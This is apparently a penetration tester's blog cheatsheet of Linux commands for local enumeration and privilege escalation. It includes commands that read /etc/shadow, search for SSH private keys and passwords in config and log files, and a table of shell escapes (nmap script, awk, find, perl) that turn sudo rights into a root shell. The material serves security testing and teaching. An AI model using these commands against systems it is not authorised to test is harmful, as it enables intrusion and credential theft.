Local Linux Enumeration & Privilege Escalation Cheatsheet

The following post lists a few Linux commands that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits and I realise these are just the tip of the iceberg in terms of what’s available.

 Revision 1.2 (Minor January 2017 update)

Kernel, Operating System & Device Information:

Command	Result
uname -a	Print all available system information
uname -r	Kernel release
uname -n	System hostname
hostname	As above
uname -m	Linux kernel architecture (32 or 64 bit)
cat /proc/version	Kernel information
cat /etc/*-release	Distribution information
cat /etc/issue	As above
cat /proc/cpuinfo	CPU information
df -a	File system information

Users & Groups:

Command	Result
cat /etc/passwd	List all users on the system
cat /etc/group	List all groups on the system
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null	List all uid’s and respective group memberships
cat /etc/shadow	Show user hashes – Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'	List all super user accounts
finger	Users currently logged in
pinky	As above
users	As above
who -a	As above
w	Who is currently logged in and what they’re doing
last	Listing of last logged on users
lastlog	Information on when all users last logged in
lastlog –u %username%	Information on when the specified user last logged in
lastlog |grep -v "Never"	Entire list of previously logged on users

User & Privilege Information:

Command	Result
whoami	Current username
id	Current user information
cat /etc/sudoers	Who’s allowed to do what as root – Privileged command
sudo -l	Can the current user perform anything as root
sudo -l 2>/dev/null | grep -w 'nmap|perl|'awk'|'find'|'bash'|'sh'|'man' |'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python |ruby|lua|irb' | xargs -r ls -la 2>/dev/null	Can the current user run any ‘interesting’ binaries as root and if so also display the binary permissions etc.

Environmental Information:

Command	Result
env	Display environmental variables
set	As above
echo $PATH	Path information
history	Displays command history of current user
pwd	Print working directory, i.e. ‘where am I’
cat /etc/profile	Display default system variables
cat /etc/shells	Display available shells

Interesting Files:

Command	Result
find / -perm -4000 -type f 2>/dev/null	Find SUID files
find / -uid 0 -perm -4000 -type f 2>/dev/null	Find SUID files owned by root
find / -perm -2000 -type f 2>/dev/null	Find GUID files
find / -perm -2 -type f 2>/dev/null	Find world-writeable files
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null	Find world-writeable files excluding those in /proc
find / -perm -2 -type d 2>/dev/null	Find word-writeable directories
find /home –name *.rhosts -print 2>/dev/null	Find rhost config files
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;	Find *.plan files, list permissions and cat the file contents
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;	Find hosts.equiv, list permissions and cat the file contents
ls -ahlR /root/	See if you can access other user directories to find interesting files
cat ~/.bash_history	Show the current users’ command history
ls -la ~/.*_history	Show the current users’ various history files
ls -la /root/.*_history	Can we read root’s history files
ls -la ~/.ssh/	Check for interesting ssh files in the current users’ directory
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la	Find SSH keys/host information
ls -la /usr/sbin/in.*	Check Configuration of inetd services
grep -l -i pass /var/log/*.log 2>/dev/null	Check log files for keywords (‘pass’ in this example) and show positive matches
find /var/log -type f -exec ls -la {} ; 2>/dev/null	List files in specified directory (/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null	List .log files in specified directory (/var/log)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null	List .conf files in /etc (recursive 1 level)
ls -la /etc/*.conf	As above
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null	Find .conf files (recursive 4 levels) and output line number where the word ‘password’ is located
lsof -i -n	List open files (output will depend on account privileges)
head /var/mail/root	Can we read roots mail

Service Information:

Command	Result
ps aux | grep root	View services running as root
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'	Lookup process binary path and permissions
cat /etc/inetd.conf	List services managed by inetd
cat /etc/xinetd.conf	As above for xinetd
cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null	A very ‘rough’ command to extract associated binaries from xinetd.conf and show permissions of each
ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null	Permissions and contents of /etc/exports (NFS)

Jobs/Tasks:

Command	Result
crontab -l -u %username%	Display scheduled jobs for the specified user – Privileged command
ls -la /etc/cron*	Scheduled jobs overview (hourly, daily, monthly etc)
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null	What can ‘others’ write in /etc/cron* directories
top	List of current tasks

Networking, Routing & Communications:

Command	Result
/sbin/ifconfig -a	List all network interfaces
cat /etc/network/interfaces	As above
arp -a	Display ARP communications
route	Display route information
cat /etc/resolv.conf	Show configured DNS sever addresses
netstat -antp	List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup	List all UDP sockets and related PIDs (-p Privileged command)
iptables -L	List rules – Privileged command
cat /etc/services	View port numbers/services mappings

Programs Installed:

Command	Result
dpkg -l	Installed packages (Debian)
rpm -qa	Installed packages (Red Hat)
sudo -V	Sudo version – does an exploit exist?
httpd -v	Apache version
apache2 -v	As above
apache2ctl (or apachectl) -M	List loaded Apache modules
mysql --version	Installed MYSQL version details
psql -V	Installed Postgres version details
perl -v	Installed Perl version details
java -version	Installed Java version details
python --version	Installed Python version details
ruby -v	Installed Ruby version details
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc)	Locate ‘useful’ programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc)	As above
dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null	List available compilers
cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1'	Which account is Apache running as

Common Shell Escape Sequences:

Command	Program(s)
:!bash	vi, vim
:set shell=/bin/bash:shell	vi, vim
!bash	man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;	find
awk 'BEGIN {system("/bin/bash")}'	awk
--interactive	nmap
echo "os.execute('/bin/sh')" > exploit.nse sudo nmap --script=exploit.nse	nmap (thanks to comment by anonymous below)
perl -e 'exec "/bin/bash";'	Perl

A special thanks to the following useful resources:

• g0tm1lk
• SANS Pentesting Resources

For a scripted version of these checks see https://github.com/rebootuser/LinEnum